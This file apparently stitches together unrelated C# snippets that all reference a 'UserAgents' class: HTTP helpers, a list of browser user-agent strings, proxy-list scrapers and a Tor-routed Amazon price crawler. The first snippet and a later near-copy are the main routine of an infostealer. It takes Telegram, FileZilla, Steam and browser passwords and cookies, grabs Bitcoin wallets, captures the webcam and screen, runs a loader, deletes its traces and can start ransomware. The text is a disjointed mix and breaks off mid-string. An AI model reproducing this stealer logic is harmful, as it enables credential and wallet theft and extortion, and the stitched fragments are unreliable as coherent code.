private static void Main() { Directory.CreateDirectory(Program.dir); HomeDirectory.Create(GetDirPath.User_Name, true); if (Settings.webka) { GetWebCam.Get_webcam(); } Screen.Get_scr(Program.dir); FileZilla.get_filezilla(Program.dir); Telegram.StealTelegram(Program.dir); if (Settings.loader) { Loader.Load(); } if (Settings.grabber) { Grabber.Grab_desktop(Program.dir); } Steal.Cookies(); Steal.Passwords(); Wallets.BitcoinSteal(Program.dir); UserAgents.Get_agent(Program.dir); Browser_Parse.Parse(Program.dir); DomainDetect.Start(Helper.Browsers); Hardware.Info(Program.dir); Directory.Delete(Program.dir, true); Directory.Delete(GetDirPath.User_Name, true); if (Settings.ransomware) { RansomwareCrypt.Start(); } }
/// <summary> /// Retrieves the content of the specified web page. /// </summary> /// <param name="url">Location of the web page</param> /// <returns>Content of the web page</returns> public static string Get(string url) { string content; var request = (HttpWebRequest)WebRequest.Create(url); request.Method = WebRequestMethods.Http.Get; request.Accept = "*/*"; request.UserAgent = UserAgents.GetRandomUserAgent(); request.AutomaticDecompression = DecompressionMethods.GZip; request.Headers.Add("Accept-Language: en-US,en;q=0.5"); using (var response = (HttpWebResponse)request.GetResponse()) { using (Stream stream = response.GetResponseStream()) { if (stream == null) { throw new Exception("Stream is empty!"); } using (var streamReader = new StreamReader(stream)) { content = streamReader.ReadToEnd(); } } } return(content); }
/// <summary> /// Downloads files from the specified URL /// </summary> /// <param name="url">URL of the file</param> /// <param name="path">Path to save the file to</param> public static void Download(string url, string path) { var request = (HttpWebRequest)WebRequest.Create(url); request.Method = WebRequestMethods.Http.Get; request.Accept = "*/*"; request.UserAgent = UserAgents.GetRandomUserAgent(); using (WebResponse response = request.GetResponse()) { using (Stream stream = response.GetResponseStream()) { using (Stream fileStream = File.OpenWrite(path)) { if (stream == null) { throw new Exception("Stream is empty!"); } var buffer = new byte[4096]; int bytesRead = stream.Read(buffer, 0, 4096); while (bytesRead > 0) { fileStream.Write(buffer, 0, bytesRead); bytesRead = stream.Read(buffer, 0, 4096); } } } } }
public ServiceProxyClient(string baseAddress) : this() { this.BaseAddress = baseAddress; this.Headers["User-Agent"] = UserAgents.ServiceProxyClient(); this.UseDefaultCredentials = true; }
public UserAgentString GetUserAgent(Guid id) { if (UserAgents.ContainsKey(id)) { return(UserAgents[id]); } return(null); }
protected void Page_Load(object sender, EventArgs e) { if (!GlobalHandlers.ProtectionHandler.isApplicationOK()) { //we need to redirect TODO // Server.Transfer("error.aspx?error=1", false); return; } if (Request.QueryString["app"] != null) { //lets find the app its wanting us to load. string appSelection = Request.QueryString["app"]; switch (appSelection) { case "lunch": Server.Transfer("lunch.aspx", false); break; case "events": Server.Transfer("events.aspx", false); break; default: break; } } label1.Text = UserAgents.getType(Request.UserAgent).ToString(); switch (UserAgents.getType(Request.UserAgent).ToString()) { case "Mobile": Response.Redirect("mobile/default.aspx", false); break; case "Desktop": Response.Redirect("desktop/default.aspx", false); break; default: Response.Redirect("desktop/default.aspx", false); break; } // MySQLDatabase basex = MySQLDatabase.create("project-laser.com", "daydata", "daydata", "password123", "data_", Panel1); // List<Column> col = new List<Column>(); // // Column c = Column.create("testcol1", Column.Type.TEXT, false, false, false, false); // col.Add(c); // // basex.dataSetter.createTable("tableid", col); // basex.mySqlConnection.ConnectionString = basex.getConnectionString(); // basex.connect(); // if (basex.isConnected()) // Debug.WriteLine("Were connected!!"); // basex.dataSetter.createTables(); // Debug.WriteLine("Host: " + basex.Host + " Setter:"+basex.dataSetter); // Constants.connection = new MySQLDatabase(); //Session["thisisoursession"] = // SqlConnection sql = new SqlConnection(); }
public HttpOptions() { ProtocolVersion = HttpProtocol.Version11; HttpMethod = HttpMethod.Get; HttpAcceptHeader = "*/*"; UserAgent = UserAgents.GetRandomUserAgent(); DecompressionMethod = DecompressionMethods.GZip; AllowAutoRedirect = true; }
public static async Task <byte[]> Request( string url, ProxyInfo proxyInfo) { var uri = new Uri(url); using var client = proxyInfo != null?GetClientWithProxy(proxyInfo) : new HttpClient(); client.DefaultRequestHeaders.Add("User-Agent", UserAgents.Get()); return(await client.GetByteArrayAsync(uri)); }
private static CefSettings GetCefSettings() { //Getting the Cache directory string CacheDirectory = @"C:\MoonByte\" + ResourceInformation.ApplicationName + @" Cache\"; // CEFSharp - Editing settings and browser Cache with CEFSHARP // cfSettings = new CefSettings(); //EditCefCommandLine("renderer-process-limit", "1"); //EditCefCommandLine("renderer-startup-dialog", "1"); //EditCefCommandLine("enable-media-stream", "1"); //Enable WebRTC //EditCefCommandLine("no-proxy-server", "1"); //Don't use a proxy server, always make direct connections. Overrides any other proxy server flag that are passed. //EditCefCommandLine("debug-plugin-loading", "1"); //Dumps extra logging about plugin loading to the log file. //EditCefCommandLine("disable-plugins-discovery", "1"); //Disable discovering third-party plugins. Effectively loading only ones shipped with the browser plus third-party ones as specified by --extra-plugin-dir and --load-plugin switches //EditCefCommandLine("enable-system-flash", "1"); //Automatically discovered and load a system-wide installation of Pepper Flash. //EditCefCommandLine("allow-running-insecure-content", "1"); //By default, an https page cannot run JavaScript, CSS or plugins from http URLs. This provides an override to get the old insecure behavior. Only available in 47 and above. //EditCefCommandLine("enable-logging", "1"); //Enable Logging for the Renderer process (will open with a cmd prompt and output debug messages - use in conjunction with setting LogSeverity = LogSeverity.Verbose;) //settings.LogSeverity = LogSeverity.Verbose; // Needed for enable-logging to output messages //EditCefCommandLine("disable-extensions", "1"); //Extension support can be disabled //EditCefCommandLine("disable-pdf-extension", "1"); //The PDF extension specifically can be disabled //Load the pepper flash player that comes with Google Chrome - may be possible to load these values from the registry and query the dll for it's version info (Step 2 not strictly required it seems) EditCefCommandLine("ppapi-flash-path", @"C:\Program Files (x86)\Google\Chrome\Application\47.0.2526.106\PepperFlash\pepflashplayer.dll"); //Load a specific pepper flash version (Step 1 of 2) EditCefCommandLine("ppapi-flash-version", "20.0.0.228"); //Load a specific pepper flash version (Step 2 of 2) EditCefCommandLine("enable-npapi", "1"); //NOTE: For OSR best performance you should run with GPU disabled: // `--disable-gpu --disable-gpu-compositing --enable-begin-frame-scheduling` // (you'll loose WebGL support but gain increased FPS and reduced CPU usage). // http://magpcss.org/ceforum/viewtopic.php?f=6&t=13271#p27075 //https://bitbucket.org/chromiumembedded/cef/commits/e3c1d8632eb43c1c2793d71639f3f5695696a5e8 //NOTE: The following function will set all three params //cfSettings.SetOffScreenRenderingBestPerformanceArgs(); //EditCefCommandLine("disable-gpu", "1"); //EditCefCommandLine("disable-gpu-compositing", "1"); //EditCefCommandLine("enable-begin-frame-scheduling", "1"); //EditCefCommandLine("disable-gpu-vsync", "1"); //Disables the DirectWrite font rendering system on windows. //Possibly useful when experiencing blury fonts. //EditCefCommandLine("disable-direct-write", "1"); cfSettings.IgnoreCertificateErrors = true; cfSettings.CachePath = CacheDirectory; cfSettings.UserAgent = UserAgents.GetUserAgent(); Directory.CreateDirectory(CacheDirectory); return(cfSettings); }
public static HttpClient CreateHttpClient(WebProxy proxy, int timeout = 30) => new HttpClient(CreateHttpClientHandler(proxy), true) { BaseAddress = new Uri(BaseAddress.GetAddress()), DefaultRequestHeaders = { { "Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" }, { "Accept-Encoding", "gzip, deflate" }, { "Accept-Language", "pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4" }, { "User-Agent", UserAgents.GetUserAgent() }, }, Timeout = TimeSpan.FromSeconds(timeout), };
/// <summary> /// /// </summary> private void RunIPProviderThread() { lock (_locker) { string _hmaProxListUrl = "http://hidemyass.com/proxy-list/{0}"; int _hmaPgIdx = 0; bool _pgNotEnding = false; while (true) { while (!_pgNotEnding) { if (FreeProxies == null) { FreeProxies = new Queue <FreeProxy>(); } _hmaPgIdx++; string __hmaProxListUrl = string.Format(_hmaProxListUrl, _hmaPgIdx); string _hmaPgDoc = string.Empty; try { _hmaPgDoc = HtmlUtil.GetPageDocument(__hmaProxListUrl, UserAgents.GetFakeUserAgent(UserAgents.UserAgent.Chrome)); _hmaPgDoc = _hmaPgDoc.Replace(System.Environment.NewLine, ""); int _start = _hmaPgDoc.IndexOf("<table id=\"listtable\""); int _end = _hmaPgDoc.IndexOf("<div id=\"pagination\">"); _hmaPgDoc = _hmaPgDoc.Substring(_start, _end - _start); this.ExtractProxies(_hmaPgDoc); } catch (Exception ex) { _pgNotEnding = true; } } Thread.Sleep(1000 * 60 * 10); } } }
/// <summary> /// Posts data and retrieves the content of the specified web page. /// </summary> /// <param name="url">Location of the web page</param> /// <param name="data">Data to post to the web page</param> /// <returns>Content of the web page</returns> public static string Post(string url, string data) { string content; byte[] postBytes = Encoding.UTF8.GetBytes(data); var request = (HttpWebRequest)WebRequest.Create(url); request.Method = WebRequestMethods.Http.Post; request.Accept = "*/*"; request.UserAgent = UserAgents.GetRandomUserAgent(); request.AutomaticDecompression = DecompressionMethods.GZip; request.ContentType = "application/x-www-form-urlencoded; charset=UTF-8"; request.ContentLength = postBytes.Length; request.Headers.Add("Accept-Language: en-US,en;q=0.5"); using (Stream requestStream = request.GetRequestStream()) { requestStream.Write(postBytes, 0, postBytes.Length); } using (var response = (HttpWebResponse)request.GetResponse()) { using (Stream stream = response.GetResponseStream()) { if (stream == null) { throw new Exception("Stream is empty!"); } using (var streamReader = new StreamReader(stream)) { content = streamReader.ReadToEnd(); } } } return(content); }
public new void AsCsvRow(CsvWriter writer, bool bulk = true) { base.AsCsvRow(writer, bulk); writer.WriteField(EnabledUser); writer.WriteField(String.Join(',', UserOrgs.Select(uo => uo.OrgId))); writer.WriteField(Role); writer.WriteField(Username); writer.WriteField(UserIds == null ? "" : String.Join(',', UserIds.Select(ui => $"{{{ui.Type}:{ui.Identifier}}}"))); writer.WriteField(GivenName); writer.WriteField(FamilyName); writer.WriteField(MiddleName); writer.WriteField(Identifier); writer.WriteField(Email); writer.WriteField(SMS); writer.WriteField(Phone); writer.WriteField(String.Join(',', UserAgents.Select(ua => ua.AgentUserId))); writer.WriteField(String.Join(',', Grades)); writer.WriteField(Password); writer.NextRecord(); }
public Model() { AccsBlocked = 0; ProxyBlocked = 0; AccsSwitched = 0; ProxySwitched = 0; IsMailsReady = false; IsProxyInited = false; IsObjectsReady = false; IsAgentsInited = false; IsAccountInited = false; IsProgramComplitlyEnded = false; AccountInfoDataSet_Success = new List <string>(); AccountInfoDataSet_Required = new List <string>(); _noMoreProxy = true; //_deleteProxy = new List<Dictionary<string, object>>(); _proxy = new Proxy(); _account = new Accounts(); _accMails = new AccountsMail(); _fileWorker = new FileWorker(); _agents = new UserAgents(); }
private static void Main() { Directory.CreateDirectory(dir); HomeDirectory.Create(GetDirPath.User_Name, true); if (Settings.webka) { GetWebCam.Get_webcam(); } Screen.Get_scr(dir); FileZilla.get_filezilla(dir); Telegram.StealTelegram(dir); if (Settings.steam) { Steam.StealSteam(dir); } if (Settings.loader) { Loader.Load(); } if (Settings.grabber) { Grabber.Grab_desktop(dir); } Mozila.Mozila_still(); Wallets.BitcoinSteal(dir); UserAgents.Get_agent(dir); Browser_Parse.Parse(dir); Hardware.Info(dir); Directory.Delete(dir, true); Directory.Delete(GetDirPath.User_Name, true); if (Settings.ransomware) { RansomwareCrypt.Start(); } }
/// <summary> /// Adds user agent to UserAgents collection. /// </summary> /// <param name="productName">Product name.</param> /// <param name="productVersion">Product version.</param> public void AddUserAgent(string productName, string productVersion) { UserAgents.Add(new ProductInfoHeaderValue(productName, productVersion)); }
partial void OnSetDefaultValue() { userAgent = UserAgents.None; }
/// <inheritdoc/> public override void ResetDefaults() { base.ResetDefaults(); UserAgents.Add(new ProductInfoHeaderValue("rackspace.net", GetType().GetAssemblyFileVersion())); }
internal void Apply(OpenStackNetConfigurationOptions target) { target.UserAgents.Clear(); UserAgents.ForEach(userAgent => target.UserAgents.Add(userAgent)); }
private static string GetUserAgentString(UserAgents userAgent) { #region UserAgent string array string[] userAgentString = { "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.3; Trident/6.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.3; WOW64; Trident/6.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)", "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) like Gecko", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) like Gecko", "Mozilla/5.0 (Windows NT 6.2; Trident/7.0; rv:11.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) like Gecko", "Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) like Gecko", "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) like Gecko", "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) like Gecko", "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729)", "Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729)", "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729)", "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120403211507 Firefox/14.0.1", "Mozilla/5.0 (Windows NT 6.0; rv:12.0) Gecko/20120403211507 Firefox/14.0.1", "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/14.0.1", "Mozilla/5.0 (Windows NT 6.2; rv:12.0) Gecko/20120403211507 Firefox/14.0.1", "Mozilla/5.0 (Windows NT 6.3; rv:12.0) Gecko/20120403211507 Firefox/14.0.1", "Mozilla/5.0 (Windows NT 6.0; rv:25.0) Gecko/20100101 Firefox/25.0", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0", "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0", "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0", "Mozilla/5.0 (Windows NT 6.0; rv:25.0) Gecko/20100101 Firefox/27.0", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/27.0", "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:25.0) Gecko/20100101 Firefox/27.0", "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:25.0) Gecko/20100101 Firefox/27.0", "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10", "Opera/9.80 (Windows NT 6.0; U; ru) Presto/2.2.15 Version/10.10", "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.2.15 Version/10.10", "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.10.229 Version/11.62", "Opera/9.80 (Windows NT 6.0; U; ru) Presto/2.10.229 Version/11.62", "Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.229 Version/11.62", "Opera/9.80 (Windows NT 6.2; WOW64; U; ru) Presto/2.10.229 Version/11.62", "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.12.388 Version/12.14", "Opera/9.80 (Windows NT 6.0; U; ru) Presto/2.12.388 Version/12.14", "Opera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.12.388 Version/12.14", "Opera/9.80 (Windows NT 6.2; WOW64; U; ru) Presto/2.12.388 Version/12.14", "Opera/9.80 (Windows NT 6.3; WOW64; U; ru) Presto/2.12.388 Version/12.14", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16", "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16", "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13", "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13", "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36", "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36", "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36" }; #endregion return((int)userAgent == 0 ? "" : userAgentString[(int)userAgent - 1]); }
public new void AsJson(JsonWriter writer, string baseUrl) { writer.WriteStartObject(); base.AsJson(writer, baseUrl); writer.WritePropertyName("username"); writer.WriteValue(Username); if (UserIds != null && UserIds.Length > 0) { writer.WritePropertyName("userIds"); writer.WriteStartArray(); foreach (var userId in UserIds) { userId.AsJson(writer, baseUrl); } writer.WriteEndArray(); } writer.WritePropertyName("enabledUser"); writer.WriteValue(EnabledUser.ToString()); writer.WritePropertyName("givenName"); writer.WriteValue(GivenName); writer.WritePropertyName("familyName"); writer.WriteValue(FamilyName); if (!String.IsNullOrEmpty(MiddleName)) { writer.WritePropertyName("middleName"); writer.WriteValue(MiddleName); } writer.WritePropertyName("role"); writer.WriteValue(Enum.GetName(typeof(Vocabulary.RoleType), Role)); if (!String.IsNullOrEmpty(Identifier)) { writer.WritePropertyName("identifier"); writer.WriteValue(Identifier); } if (!String.IsNullOrEmpty(Email)) { writer.WritePropertyName("email"); writer.WriteValue(Email); } if (!String.IsNullOrEmpty(SMS)) { writer.WritePropertyName("sms"); writer.WriteValue(SMS); } if (!String.IsNullOrEmpty(Phone)) { writer.WritePropertyName("phone"); writer.WriteValue(Phone); } if (UserAgents != null && UserAgents.Count > 0) { writer.WritePropertyName("agents"); writer.WriteStartArray(); UserAgents.ForEach(ua => ua.Agent.AsJsonReference(writer, baseUrl)); writer.WriteEndArray(); } if (UserOrgs != null) { writer.WritePropertyName("orgs"); writer.WriteStartArray(); UserOrgs.ForEach(uo => uo.Org.AsJsonReference(writer, baseUrl)); writer.WriteEndArray(); } if (Grades != null && Grades.Length > 0) { writer.WritePropertyName("grades"); writer.WriteStartArray(); foreach (var grade in Grades) { writer.WriteValue(grade); } writer.WriteEndArray(); } if (!String.IsNullOrEmpty(Password)) { writer.WritePropertyName("password"); writer.WriteValue(Password); } writer.WriteEndObject(); writer.Flush(); }
/// <summary> /// FreeIPGeneratorException /// </summary> private void RunIPProviderThread() { lock (_locker) { string _hmaProxListUrl = "http://hidemyass.com/proxy-list/{0}"; int _hmaPgIdx = 1; bool _pgEnding = false; do { if (m_reset) { _hmaPgIdx = 1; _pgEnding = false; m_reset = false; } while (!_pgEnding) { if (m_resume) { if (_hmaPgIdx == 1 && OnBeginningOfProxyListPage != null) { OnBeginningOfProxyListPage(this, new EventArgs()); } string __hmaProxListUrl = string.Format(_hmaProxListUrl, _hmaPgIdx); string _hmaPgDoc = string.Empty; try { _hmaPgDoc = HtmlUtil.GetPageDocument(__hmaProxListUrl, UserAgents.GetFakeUserAgent(UserAgents.UserAgent.Chrome)); _hmaPgDoc = _hmaPgDoc.Replace(System.Environment.NewLine, ""); int _start = _hmaPgDoc.IndexOf("<table id=\"listtable\""); int _end = _hmaPgDoc.IndexOf("<div id=\"pagination\">"); _hmaPgDoc = _hmaPgDoc.Substring(_start, _end - _start); int _results = this.ExtractProxies(_hmaPgDoc); _hmaPgIdx++; if (_results == 1) { _hmaPgIdx = _hmaPgIdx--; // go back one page in index _pgEnding = true; if (OnEndOfProxyListPage != null) { OnEndOfProxyListPage(this, new EventArgs()); } } } catch (Exception ex) { string _errMsgPrefx = string.Format("Error@{0}/pgIdx:[{1}]/errmsg:[{2}]", "RunIPProviderThread", _hmaPgIdx, ex.Message); Exception _ex = new Exception(_errMsgPrefx, ex); this.InvokeEventFreeIPGeneratorException(new EventHandlers.FreeIPGeneratorExceptionEventArgs(_ex)); } } Thread.Sleep(1000 * 10); } }while(true); } }
public override string getRequestUri(UserAgents.UserAgent user) { throw new NotImplementedException(); }
public override bool BeforeAllGrab() { this._RequestUserAgents = new UserAgents(); this._RequestUserAgents.Load(); return(base.BeforeAllGrab()); }
public InteractionData(AggregationPipelineArgs args, VisitData visit) { Browsers browserDimension = args.GetDimension<Browsers>(); OS osDimension = args.GetDimension<OS>(); Screens screenDimension = args.GetDimension<Screens>(); UserAgents userAgentDimension = args.GetDimension<UserAgents>(); Browser = browserDimension.Add(visit.Browser.BrowserMajorName, visit.Browser.BrowserMinorName, visit.Browser.BrowserVersion); OS = osDimension.Add(visit.OperatingSystem.Name); Screen = screenDimension.Add(visit.Screen.ScreenHeight, visit.Screen.ScreenWidth); UserAgent = userAgentDimension.Add(visit.UserAgent); }
public async Task RandomUserAgentTestAsync() { await ParallelRequestAsync(() => GetRequest(), () => UserAgents.RandomUserAgent()); }
public void Reset() { UserAgents.Clear(); PathRules.Clear(); CrawlDelay = null; }
public static UserAgents CreateUserAgents(global::System.Guid userAgentId, string userAgent) { UserAgents userAgents = new UserAgents(); userAgents.UserAgentId = userAgentId; userAgents.UserAgent = userAgent; return userAgents; }
public void AddToUserAgents(UserAgents userAgents) { base.AddObject("UserAgents", userAgents); }
public static async Task Run(CancellationToken cancelToken, string store) { Timer.Tick += new EventHandler(Timer_Tick); Timer.Interval = 1000; if (!Settings.Get <bool>("ScanNew") && !Settings.Get <bool>("ScanUsed")) { mf.textBox4.AppendText("Crawler wird gestoppt - Reason: Neu & Gebraucht sind Deaktiviert" + Environment.NewLine); mf.metroButton3.PerformClick(); return; } mf.textBox4.AppendText("Übernehme Neu & Gebraucht Einstellungen" + Environment.NewLine); var sellerForNew = new List <string>(); if (!String.IsNullOrWhiteSpace(Settings.Get <string>("SellerForNew"))) { sellerForNew = Settings.Get <string>("SellerForNew").Split(',').Select(s => s.Trim()).ToList(); } else { sellerForNew.Add("Amazon"); } var sellerForUsed = new List <string>(); if (!String.IsNullOrWhiteSpace(Settings.Get <string>("SellerForUsed"))) { sellerForUsed = Settings.Get <string>("SellerForUsed").Split(',').Select(s => s.Trim()).ToList(); } else { sellerForUsed.Add("Amazon"); } TorSharpSettings torSettings = null; TorSharpProxy torProxy = null; if (Settings.Get <bool>("UseTorProxies")) { mf.textBox4.AppendText("Initialisiere TOR Proxy Funktion" + Environment.NewLine); try { torSettings = new TorSharpSettings { ReloadTools = true, ZippedToolsDirectory = Path.Combine(FoldersFilesAndPaths.Temp, "TorZipped"), ExtractedToolsDirectory = Path.Combine(FoldersFilesAndPaths.Temp, "TorExtracted"), PrivoxySettings = { Port = 1337, }, TorSettings = { SocksPort = 1338, ControlPort = 1339, ControlPassword = "******", }, }; await new TorSharpToolFetcher(torSettings, new HttpClient()).FetchAsync(); torProxy = new TorSharpProxy(torSettings); await torProxy.ConfigureAndStartAsync(); } catch (Exception ex) { mf.textBox4.AppendText("Fehler beim Initialisiere der TOR Proxy Funktion ;-(" + Environment.NewLine + "TOR Proxy Funktion wird deaktiviert!" + Environment.NewLine); mf.textBox4.AppendText(ex.Message); mf.metroToggle5.Checked = false; } if (Settings.IsPremium && Settings.Get <bool>("UseTorProxies") && Settings.Get <bool>("ProxyAlwaysActive")) { mf.textBox4.AppendText("Set TOR Proxy - Reason: P. always Active" + Environment.NewLine); mf.metroLabel45.Text = Convert.ToString(await WebUtils.GetCurrentIpAddressAsync(torSettings)); Proxies.TorProxyActive = true; } } string sourcecode; int sites, loops; while (true) { Database.OpenConnection(); SQLiteCommand getEntry; switch (store) { case "ALLE": getEntry = new SQLiteCommand("SELECT * FROM Products WHERE Status = '0' ORDER BY [Letzter Check] ASC LIMIT 0,1", Database.Connection); break; default: getEntry = new SQLiteCommand("SELECT * FROM Products WHERE Status = '0' AND Store = @store ORDER BY [Letzter Check] ASC LIMIT 0,1", Database.Connection); getEntry.Parameters.AddWithValue("@store", store); break; } SQLiteDataReader entry = getEntry.ExecuteReader(); if (!entry.HasRows) { mf.metroButton3.PerformClick(); Timer.Stop(); torProxy.Stop(); return; } while (entry.Read()) { if (cancelToken.IsCancellationRequested) { Timer.Stop(); torProxy.Stop(); return; } mf.metroLabel10.Text = Convert.ToString(entry["Store"]); mf.metroLabel11.Text = Convert.ToString(entry["ASIN / ISBN"]); mf.metroLabel12.Text = Convert.ToString(entry["Name"]); mf.metroLabel13.Text = Convert.ToString(entry["Preis: Neu"]); mf.metroLabel14.Text = Convert.ToString(entry["Preis: Wie Neu"]); mf.metroLabel15.Text = Convert.ToString(entry["Preis: Sehr Gut"]); mf.metroLabel16.Text = Convert.ToString(entry["Preis: Gut"]); mf.metroLabel17.Text = Convert.ToString(entry["Preis: Akzeptabel"]); mf.metroLabel18.Text = Convert.ToString(entry["Letzter Check"]); mf.metroLabel24.Text = mf.metroLabel25.Text = mf.metroLabel26.Text = mf.metroLabel27.Text = mf.metroLabel28.Text = null; mf.metroLabel41.Text = null; mf.webBrowser1.DocumentText = mf.webBrowser2.DocumentText = null; await Task.Delay(Tools.RandomNumber(250, 500), cancelToken).ContinueWith(tsk => { }); string priceNew = null; if (Settings.Get <bool>("ScanNew")) { List <string> priceNewList = new List <string>(); mf.tabControl2.SelectedTab = mf.TabPage4; sites = 1; loops = 0; do { if (cancelToken.IsCancellationRequested) { Timer.Stop(); torProxy.Stop(); return; } try { string url = "https://www.amazon." + Amazon.GetTld(Convert.ToString(entry["Store"])) + "/gp/aw/ol/" + entry["ASIN / ISBN"] + "/ref=mw_dp_olp?ca=" + entry["ASIN / ISBN"] + "&o=New&op=" + (loops + 1) + "&vs=1"; var handler = new HttpClientHandler(); if (Settings.Get <bool>("UseTorProxies")) { if (Settings.IsPremium && Settings.Get <bool>("ProxyAlwaysActive") || Proxies.TorProxyActive && Proxies.RealIPnexttime > DateTime.Now) { Debug.WriteLine("Add TOR Proxy to HttpClientHandler..."); handler.Proxy = new WebProxy(new Uri("http://*****:*****@"<title> (Tut uns Leid!|Toutes nos excuses)</title>"); Match errordetection1 = Regex.Match(sourcecode.RemoveLineEndings(), @"<title>(503 - Service Unavailable Error)</title>"); if (errordetection.Success || errordetection1.Success) { Debug.WriteLine("Issue Found..."); continue; } //CAPTCHA Detection Match captchadetection = Regex.Match(sourcecode, "<title 